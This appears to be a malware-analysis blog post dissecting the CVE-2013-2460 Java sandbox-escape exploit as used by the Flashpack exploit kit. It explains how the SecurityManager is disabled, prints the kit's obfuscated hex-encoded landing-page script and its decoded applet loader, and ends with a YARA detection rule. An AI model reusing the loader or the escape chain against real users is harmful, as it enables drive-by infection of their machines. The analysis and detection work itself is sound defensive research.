Monday, July 28, 2014

Dissecting the CVE-2013-2460 Java Exploit



Introduction
In this vulnerability, code is able to get the references of some restricted classes which are cleverly used for privilege escalation and bypassing the JVM sandbox. The vulnerable “invoke” method of the “sun.tracing.ProviderSkeleton” class is used to issue calls to the Class.forName() method for loading internal restricted classes and methods.

Vulnerability Exploitation Procedure
To define tracepoints in any Java application, one must extend the Provider interface in their program. Creating a Provider instance is done with the help of the factory class ProviderFactory. ProviderSkeleton gives all the implementation needed by a framework provider by implementing two important interfaces, namely “com.sun.tracing.Provider” and “java.lang.reflect.InvocationHandler”. As mentioned earlier, it also has the implementation of our target “invoke” method. Invoke is the default invocation handler associated with Provider class and is created when we call the “Java.reflect.Proxy.GetInvocationHandler()” method with a Provider class object as parameter.
So, the code for this would be:
<Invoke object> = class.forname(java.lang.reflect.Proxy).getmethod(getInvocationHandler), new Class[] { Class.forName(java.lang.Object) }).invoke(Class.forName(java.lang.reflect.Proxy)), new Object[] { <Provider object> });


Class.forName():
Class.forName is the dynamic Class Loader in Java. It initializes a class by calling its static methods and constructors, if the class was not previously not being loaded.
The following restricted classes are loaded in the exploit using the <invoke object>:
  •      “sun.org.mozilla.javascript.internal.Context”
  •      “sun.org.mozilla.javascript.internal.DefiningClassLoader”
  •      “sun.org.mozilla.javascript.internal.GeneratedClassLoader”

MethodHandles.Lookup()
There is a call to the “MethodHandles.Lookup()” method which does the AccessController checks only while creating the class instance and not each time the call is made. A lookup object has the capability to access any method handle that the caller has access to.
Context stores some information about the program like the call stack. To associate the newly created context with the current thread, an object of the “enter()” method of the “sun.org.mozilla.javascript.internal.Context” class is created using the lookup object we created. Similarly, method objects for “defineClass()” and “createClassLoader()” from the other two classes are also created. All these three objects are eventually used to disable the SecurityManager enforced by the browser for running Java code.

Privilege Escalation!
Typically, a web applet runs with the SecurityManager provided by the browser. This way, user code does not have the privileges to disable it. In our case, we are able to invoke restricted browser libraries and generate a new ClassLoader. So, this ClassLoader is of the same context as that of the SecurityManger. Finally, defineClass loads the binary object of another class using the privileged ClassLoader and sets the SecurityManager to null after it has successfully performed the bytecode verification.
We will get into this more when we go through each step in detail.

Test Case: Flashpack EK
The malicious jar files we found in multiple exploit kits (EKs) use different types of obfuscation to make them undetectable. In this blog, I will be explain the analysis of a jar file we found in the Flashpack EK, which was using the same exploit. The file can also be downloaded here.
The jar file runs as an applet in the browser and is triggered from the EK’s landing page after it has checked the Java version installed. The jar contains following classes:

Java Code Deobfuscation Routine:
Code generates strings from garbage text by calling “crock.zam()”. The following three methods perform all of the deobfuscation routine:

The entry point class “a1.class” needs the following three parameters: “urla”, “t” and “tt”. The code proceeds with creating an object of “crock.class” and calling “badafzew()” method. 

In “crock.badafzew()” creation of following three objects takes place:
  1. The contents of “pashka.class” is fetched as a stream and stored in a byte array object of size 8KB, but it is utilized later in the program for disabling the SecurityManager. 
  2. In the next step, “b3333.cadvsfew()” is called in which the Provider object is created using the ProviderFactory mechanism.
  3. A call to GetInvocationHandler() returns an object of the vulnerable “invoke()” method.
The execution is then transferred to “nano.allokas()”, passing all three objects created as parameters.  In the “allokas()” method, an object of “cve.class” in created, which gives us the following two important static method objects:
The invoke() method object is used for the first time to generate class objects of two restricted classes as follows:
Using these class objects, two method objects are created for enter() and createClassLoader()methods.
 
The last step is to perform an invoke action on the “sun.org.mozilla.javascript.internal.DefiningClassLoader” methodhandle and pass a byte object of “pashka.class” as a parameter. This results in successful disabling of the SecurityManager.
 
Now that the SecurityManager is disabled, the applet is free to perform privileged actions like saving files on the user machine, downloading data and performing file execution. All this workflow is performed in “nasa.class”, which I am not discussing in this blog as it is easily understandable as shown below.
 

JavaScript Deobfuscation:
To prepare a POC of the exploit, along with the jar file, the html page calling the applet is also important, because it sends the parameters needed for jar execution. But exploit kit landing pages are found to be highly obfuscated and it’s not at all easy to decode the parameters.
In case of Flashpack, we filtered the following traffic:
<html><head> <noscript>Your browser does not support JavaScript!</noscript>
</head><body> <script>
dc=(document); scr=dc['createElement']('script'); txt="th=(this);function un(x){return th['unescape'](x);};res='646f63756d656e742e777269746528273c6170706c65742077696474683d5c27335c27206
865696768743d5c27335c273e3c706172616d206e616d653d5c276a6e6c705f687265665c272076616
c75653d5c27556d4c6a4163672e6a6e6c705c272f3e3c706172616d206e616d653d5c276a6e6c705f65
6d6265646465645c272076616c75653d5c2750477075624841676333426c597a30694d53347749694
23462577875637a70715a6e6739496d6830644841364c79396e6232396e6247557559323974496942
6f636d566d50534969506a7870626d5a76636d316864476c76626a343864476c306247552b59304e7
75a57564c6444777664476c306247552b50485a6c626d5276636a356851555a325346705350433932
5a57356b6233492b50433970626d5a76636d316864476c76626a3438636d567a623356795932567a
506a78714d6e4e6c49485a6c636e4e7062323439496a45754e797369494768795a575939496949765
06a78715958496761484a6c5a6a30696157356a6248566b5a53387759544579597a597a4f4452694d
546c6a4f4451304e4445304e324a6a4f47566c5a474d304d5755795a69357159584969494731686157
3439496e5279645755694c7a34384c334a6c63323931636d4e6c637a3438616d463259575a344c5752
6c63324d67625746706269316a6247467a637a30696245526f536b5a78646e6369494842795a577876
5957526c6369316a6247467a637a3069595445694947356862575539496d5236636d4e5a626e45694c
7a343859584277624756304c57526c63324d67626d46745a543069523142535957354f576949676257
46706269316a6247467a637a3069536d35585a5552685579496764326c6b64476739496a4d69494768
6c6157646f644430694d794976506a7776616d35736344343d5c272f3e3c706172616d206e616d653d
5c276a61766166785f76657273696f6e5c272076616c75653d5c27322e302b5c272f3e3c706172616d2
06e616d653d5c2775726c615c272076616c75653d5c276458584f737a7a74306b26425341723444487
8682623483d55414f4c6b4c39464f586950465469486950573046394f6f7a6b554858343d69637a685
55034584869667a6f554666666c394f644f5236664d535c272f3e3c706172616d206e616d653d5c277
45c272076616c75653d5c27315c272f3e3c706172616d206e616d653d5c2774745c272076616c75653
d5c27305c272f3e3c2f6170706c65743e27293b';code='%';for(var j=0;j<res.length;j+=2){code+=res.charAt(j)+res.charAt(j+1)+'%';};code=code.slice(0,-1);th['eval'](un(code));";
scr['text']=txt; dc['body']['appendChild'](scr);
</script></body></html>


After deobfuscating the JS and extracting some useful content, we get:

document.write('<applet width=\'3\' height=\'3\'><param name=\'jnlp_href\' value=\'UmLjAcg.jnlp\'/>
<param name=\'jnlp_embedded\' value=\'PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly
9nb29nbGUuY29tIiBocmVmPSIiPjxpbmZvcm1hdGlvbj48dGl0bGU+Y0NwZWVLdDwvdGl0bGU+P
HZlbmRvcj5hQUZ2SFpSPC92ZW5kb3I+PC9pbmZvcm1hdGlvbj48cmVzb3VyY2VzPjxqMnNlIHZlc
nNpb249IjEuNysiIGhyZWY9IiIvPjxqYXIgaHJlZj0iaW5jbHVkZS8wYTEyYzYzODRiMTljODQ0ND
E0N2JjOGVlZGM0MWUyZi5qYXIiIG1haW49InRydWUiLz48L3Jlc291cmNlcz48amF2YWZ4LWR
lc2MgbWFpbi1jbGFzcz0ibERoSkZxdnciIHByZWxvYWRlci1jbGFzcz0iYTEiIG5hbWU9ImR6cmNZ
bnEiLz48YXBwbGV0LWRlc2MgbmFtZT0iR1BSYW5OWiIgbWFpbi1jbGFzcz0iSm5XZURhUyIgd2
lkdGg9IjMiIGhlaWdodD0iMyIvPjwvam5scD4=\'/><param name=\'javafx_version\' value=\'2.0+\'/><param name=\'urla\' value=\'dXXOszzt0k&BSAr4DHxh&#H=UAOLkL9FOXiPFTiHiPW0F9OozkUHX4=iczhUP4XHifzoUFffl9OdOR6fMS\'/><param name=\'t\' value=\'1\'/><param name=\'tt\' value=\'0\'/></applet>');

Yara Signature:
Even though the jar files used by EKs have highly obfuscated code, some of the strings still can’t be obfuscated and we can use such patterns in our static analysis. And if we are lucky, we can develop accurate detection methods. The following signature can be used for exploit identification on a decompiled jar file.
rule CVE_2013_2460_java
{
                meta:
                                Description= "CVE_2013_2460_decompiled_jar"
                                Author= “Zscaler”
                strings:
                                $exp=/sun\.tracing\.Provider[.*]interface\s[.*]extends\sProvider/s
                                $str1="InvocationHandler" wide ascii
                                $str2=" ProviderFactory" wide ascii
                                $str3="forName" wide ascii
                                $str4="Invoke" wide ascii
                                $str5="MethodHandles" wide ascii
                                $str6="lookup" wide ascii
                                $replace=/\(\s*\"(\S+)\"\s*\,\s*\"(\S+)\"\s*\,\s*\"\"\s*\)/s
                condition:
                                $exp and ( (3 of ($str*)) or #replace>5 )
}